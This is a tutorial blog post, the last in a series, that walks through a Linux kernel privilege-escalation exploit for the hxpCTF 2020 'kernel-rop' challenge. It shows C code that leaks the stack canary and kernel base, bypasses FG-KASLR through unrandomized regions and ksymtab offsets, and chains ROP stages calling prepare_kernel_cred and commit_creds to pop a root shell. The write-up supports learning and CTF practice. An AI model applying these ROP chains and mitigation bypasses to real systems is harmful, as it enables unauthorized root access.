Learning Linux Kernel Exploitation - Part 3

• Learning Linux Kernel Exploitation - Part 1
• Learning Linux Kernel Exploitation - Part 2

Preface

We have finally come to the last part of Learning Linux Kernel Exploitation. In the previous parts, I have walked you through my process of learning kernel pwn, from setting up the environment, to different exploit techniques that can be used against different mitigation features and scenarios. All of which was delivered using what were provided by hxpCTF 2020 challenge kernel-rop. To the end of the last part, the only difference left between my setup and the original given challenge is KASLR. Therefore, in this post, I will be adding KASLR to the play, effectively revert back to the original given environment, then I will explain the exploit process based on the actual writeup from the authors themselves.

Again, just like the last post, I won’t re-explain what I have already done in the previous parts. You can always check them out.

Since this is essentially a challenge’s writeup, I will provide the TL;DR:

About KASLR and FG-KASLR

KASLR, abbreviated for Kernel address space layout randomization (KASLR), is just like ASLR on userland, it randomizes the base address where the kernel image is loaded each time the system is booted. It can be enabled/disabled by adding kaslr or nokaslr under -append option.

To defeat userland ASLR, what we typically do is to leak an address in the section, calculate the base address of the section from it, then all the others addresses will be just offset from there since what gets randomize is the base address, while the offsets are always the same. This is also true for normal KASLR, where the image base is randomized, and all the others functions will be just a constant offset from it. If this is the case for us in this challenge, because we can read a lot of data from the stack, we can easily read an address of the kernel image .text section from there and we have already defeated KASLR. However, things are not that simple for us (as you might have thought, if it’s that simple I probably won’t make a separate post for it).

Booting the system several times and reading /proc/kallsyms, you will notice that most of the symbols get randomized on their own, so there addresses are not a constant offset from the kernel .text base like what we used to deal with. This is called Function Granular KASLR. It’s purpose is to prevent hackers from defeating KASLR in the traditional way, by “rearrange your kernel code at load time on a per-function level granularity, with only around a second added to boot time”.

In theory, if everything in the kernel gets completely randomized, it will be almost impossible for us to gather useful gadgets from the kernel image. However, this novel mitigation feature still suffers from weaknesses, and we will take advantage of those to deliver a successful exploit.

Gathering useful gadgets

The fine-grainness of FG-KASLR is imperfect, there are certain regions in the kernel that never get randomized. Here are the unaffected regions that are useful to us:

1. The functions from _text base to __x86_retpoline_r15, which is _text+0x400dc6 are unaffected. Unfortunately, commit_creds() and prepare_kernel_cred() don’t reside in this region, but we can still look for useful registers and memory manipulation gadgets from here.
2. KPTI trampoline swapgs_restore_regs_and_return_to_usermode() is unaffected.
3. The kernel symbol table ksymtab, starts at _text+0xf85198 is unaffected. In here contains the offsets that can be used to calculate the addresses of commit_creds() and prepare_kernel_cred().

For (1), here are the 3 gadgets that I used:

unsigned long pop_rax_ret = image_base + 0x4d11UL; // pop rax; ret
unsigned long read_mem_pop1_ret = image_base + 0x4aaeUL; // mov eax, qword ptr [rax + 0x10]; pop rbp; ret;
unsigned long pop_rdi_rbp_ret = image_base + 0x38a0UL; // pop rdi; pop rbp; ret;

The first 2 gadgets can be used to read an arbitrary memory block, by simply popping its address subtract by 0x10 to rax. The third gadget is a normal pop rdi for functions’ parameter.

For (3), here is the structure of an entry in ksymtab (source):

struct kernel_symbol {
	  int value_offset;
	  int name_offset;
	  int namespace_offset;
};

The value_offset is what we are interested in, it is simply the offset from the symbol entry’s address in ksymtab to the actual symbol’s address itself (you can verify this by attaching gdb to debug and inspect ksymtab). To get the address of ksymtab entries, we can also read them from /proc/kallsyms:

cat /proc/kallsyms | grep ksymtab_commit_creds
-> ffffffffb7f87d90 r __ksymtab_commit_creds
cat /proc/kallsyms | grep ksymtab_prepare_kernel_cred
-> ffffffffb7f8d4fc r __ksymtab_prepare_kernel_cred

To leak the image base address, since we can leak a huge amount of data from the kernel stack, we can attach the debugger and inspect the stack to look for any kernel address that belongs to unaffected region (1). There actually one at offset 38:

void leak(void){
    unsigned n = 40;
    unsigned long leak[n];
    ssize_t r = read(global_fd, leak, sizeof(leak));
    cookie = leak[16];
    image_base = leak[38] - 0xa157ULL;
    kpti_trampoline = image_base + 0x200f10UL + 22UL;
    pop_rax_ret = image_base + 0x4d11UL;
    read_mem_pop1_ret = image_base + 0x4aaeUL;
    pop_rdi_rbp_ret = image_base + 0x38a0UL;
    ksymtab_prepare_kernel_cred = image_base + 0xf8d4fcUL;
    ksymtab_commit_creds = image_base + 0xf87d90UL;

    printf("[*] Leaked %zd bytes\n", r);
    printf("    --> Cookie: %lx\n", cookie);
    printf("    --> Image base: %lx\n", image_base);
}

Leaking commit_creds()

According to what I have gathered in the last step, my plan to leak commit_creds() is by reading the value_offset of ksymtab_commit_creds, then add them together. We will use our 2 memory read gadgets to read it, using the same ROP technique that I have introduced in the last part, then safely return to userland via KPTI trampoline to prepare for the next stage:

void stage_1(void){
    unsigned n = 50;
    unsigned long payload[n];
    unsigned off = 16;
    payload[off++] = cookie;
    payload[off++] = 0x0; // rbx
    payload[off++] = 0x0; // r12
    payload[off++] = 0x0; // rbp
    payload[off++] = pop_rax_ret; // return address
    payload[off++] = ksymtab_commit_creds - 0x10; // rax <- __ksymtabs_commit_creds - 0x10
    payload[off++] = read_mem_pop1_ret; // rax <- [__ksymtabs_commit_creds]
    payload[off++] = 0x0; // dummy rbp
    payload[off++] = kpti_trampoline; // swapgs_restore_regs_and_return_to_usermode + 22
    payload[off++] = 0x0; // dummy rax
    payload[off++] = 0x0; // dummy rdi
    payload[off++] = (unsigned long)get_commit_creds;
    payload[off++] = user_cs;
    payload[off++] = user_rflags;
    payload[off++] = user_sp;
    payload[off++] = user_ss;

    puts("[*] Prepared payload to leak commit_creds()");
    ssize_t w = write(global_fd, payload, sizeof(payload));

    puts("[!] Should never be reached");
}

You can clearly see that what I did was to pop ksymtabs_commit_creds - 0x10 into rax, then use the second gadget to read the value_offset field, after this ROP chain returns to userland into the function I called get_commit_creds, the value_offset of __ksymtabs_commit_creds will be stored in rax.

void get_commit_creds(void){
    __asm__(
        ".intel_syntax noprefix;"
        "mov tmp_store, rax;"
        ".att_syntax;"
    );
    commit_creds = ksymtab_commit_creds + (int)tmp_store;
    printf("    --> commit_creds: %lx\n", commit_creds);
    stage_2();
}

After returning from kernel-mode, we have to actually retrieve the value from rax to calculate the actual address of commit_creds. Notice that in the code, I used a variable called tmp_store, which is just an unsigned long global variable. This is a very convenient way to move the value from a register to memory using a small in-line assembly piece of code. Also remember to cast the value to int, because that is the data type in which value_offset is stored.

After that, I immediatelt make a call to stage_2() to continue the exploitation chain.

Leaking prepare_kernel_cred()

Nothing more to say in this stage, it is exactly the same as stage 1:

void stage_2(void){
    unsigned n = 50;
    unsigned long payload[n];
    unsigned off = 16;
    payload[off++] = cookie;
    payload[off++] = 0x0; // rbx
    payload[off++] = 0x0; // r12
    payload[off++] = 0x0; // rbp
    payload[off++] = pop_rax_ret; // return address
    payload[off++] = ksymtab_prepare_kernel_cred - 0x10; // rax <- __ksymtabs_prepare_kernel_cred - 0x10
    payload[off++] = read_mem_pop1_ret; // rax <- [__ksymtabs_prepare_kernel_cred]
    payload[off++] = 0x0; // dummy rbp
    payload[off++] = kpti_trampoline; // swapgs_restore_regs_and_return_to_usermode + 22
    payload[off++] = 0x0; // dummy rax
    payload[off++] = 0x0; // dummy rdi
    payload[off++] = (unsigned long)get_prepare_kernel_cred;
    payload[off++] = user_cs;
    payload[off++] = user_rflags;
    payload[off++] = user_sp;
    payload[off++] = user_ss;

    puts("[*] Prepared payload to leak prepare_kernel_cred()");
    ssize_t w = write(global_fd, payload, sizeof(payload));

    puts("[!] Should never be reached");
}

void get_prepare_kernel_cred(void){
    __asm__(
        ".intel_syntax noprefix;"
        "mov tmp_store, rax;"
        ".att_syntax;"
    );
    prepare_kernel_cred = ksymtab_prepare_kernel_cred + (int)tmp_store;
    printf("    --> prepare_kernel_cred: %lx\n", prepare_kernel_cred);
    stage_3();
}

And with that, we have all the addresses that we need for a privileges escalation chain.

Calling prepare_kernel_cred(0)

Because of the limited amount of gadgets that we have, I couldn’t find an easy way to perform a ROP chain that calls commit_creds(prepare_kernel_cred(0)) and pop a root shell in one go (recall that I used some bizarre gadgets in the last part, and those aren’t in the regions which are unaffected by FG-KASLR). Therefore, I have to follow the technique used in the original writeup by the author, in which they split the chain into 2 parts: calling prepare_kernel_cred(0) in the first attempt, saving the return value in rax to memory, which is the address of the cred_struct to be commited, then calling commit_creds() using that saved value in another attempt. By doing this, we don’t have to concern about the most difficult part in a privileges escalation ROP chain, which is how to move the return value of prepare_kernel_cred(0) in rax to rdi to pass to commit_creds().

void stage_3(void){
    unsigned n = 50;
    unsigned long payload[n];
    unsigned off = 16;
    payload[off++] = cookie;
    payload[off++] = 0x0; // rbx
    payload[off++] = 0x0; // r12
    payload[off++] = 0x0; // rbp
    payload[off++] = pop_rdi_rbp_ret; // return address
    payload[off++] = 0; // rdi <- 0
    payload[off++] = 0; // dummy rbp
    payload[off++] = prepare_kernel_cred; // prepare_kernel_cred(0)
    payload[off++] = kpti_trampoline; // swapgs_restore_regs_and_return_to_usermode + 22
    payload[off++] = 0x0; // dummy rax
    payload[off++] = 0x0; // dummy rdi
    payload[off++] = (unsigned long)after_prepare_kernel_cred;
    payload[off++] = user_cs;
    payload[off++] = user_rflags;
    payload[off++] = user_sp;
    payload[off++] = user_ss;

    puts("[*] Prepared payload to call prepare_kernel_cred(0)");
    ssize_t w = write(global_fd, payload, sizeof(payload));

    puts("[!] Should never be reached");
}

void after_prepare_kernel_cred(void){
    __asm__(
        ".intel_syntax noprefix;"
        "mov tmp_store, rax;"
        ".att_syntax;"
    );
    returned_creds_struct = tmp_store;
    printf("    --> returned_creds_struct: %lx\n", returned_creds_struct);
    stage_4();
}

Notice that we can reuse tmp_store to store our returned cred_struct as well, very convenient.

Calling commit_creds() and opening root shell

Finally, we use the ROP chain one last time to calle commit_creds():

void stage_4(void){
    unsigned n = 50;
    unsigned long payload[n];
    unsigned off = 16;
    payload[off++] = cookie;
    payload[off++] = 0x0; // rbx
    payload[off++] = 0x0; // r12
    payload[off++] = 0x0; // rbp
    payload[off++] = pop_rdi_rbp_ret; // return address
    payload[off++] = returned_creds_struct; // rdi <- returned_creds_struct
    payload[off++] = 0; // dummy rbp
    payload[off++] = commit_creds; // commit_creds(returned_creds_struct)
    payload[off++] = kpti_trampoline; // swapgs_restore_regs_and_return_to_usermode + 22
    payload[off++] = 0x0; // dummy rax
    payload[off++] = 0x0; // dummy rdi
    payload[off++] = (unsigned long)get_shell;
    payload[off++] = user_cs;
    payload[off++] = user_rflags;
    payload[off++] = user_sp;
    payload[off++] = user_ss;

    puts("[*] Prepared payload to call commit_creds(returned_creds_struct)");
    ssize_t w = write(global_fd, payload, sizeof(payload));

    puts("[!] Should never be reached");
}

After stage 4, we have successfully opened a root shell under this fully protected environment.

Summary

And that concludes this series. We have come to this point where we have a collection of techniques to bypass all of the most modern mitigation features in the Linux kernel. Below is a summary of the techniques we have used accross 3 parts:

1. If the kernel has no protection, use ret2usr.
2. If it has SMEP, ret2usr is no longer viable, use ROP to call commit_creds(prepare_kernel_cred(0)).
3. If overflow is limited on the stack, use a pivot gadget.
4. If it has KPTI, modify ROP to use KPTI trampoline or signal handler.
5. If it has SMAP, stack pivot is no longer viable.
6. If it has normal KASLR, a single leak of a .text address is sufficient.
7. If it has FG-KASLR, make use of regions that are unaffected and ksymtab.

One more thing, I want to say thanks for all the supports and the kind words that I have received since I started posting this series. At first, my intention was only to write this as a documentation for myself and a few friends of mine. However, it turns out that a lot of people really appreciates this kind of technical posts, and it gets spread wider than I can ever expect. I am really grateful that my little work here is useful for the community.

Appendix

The full exploit code is a.c.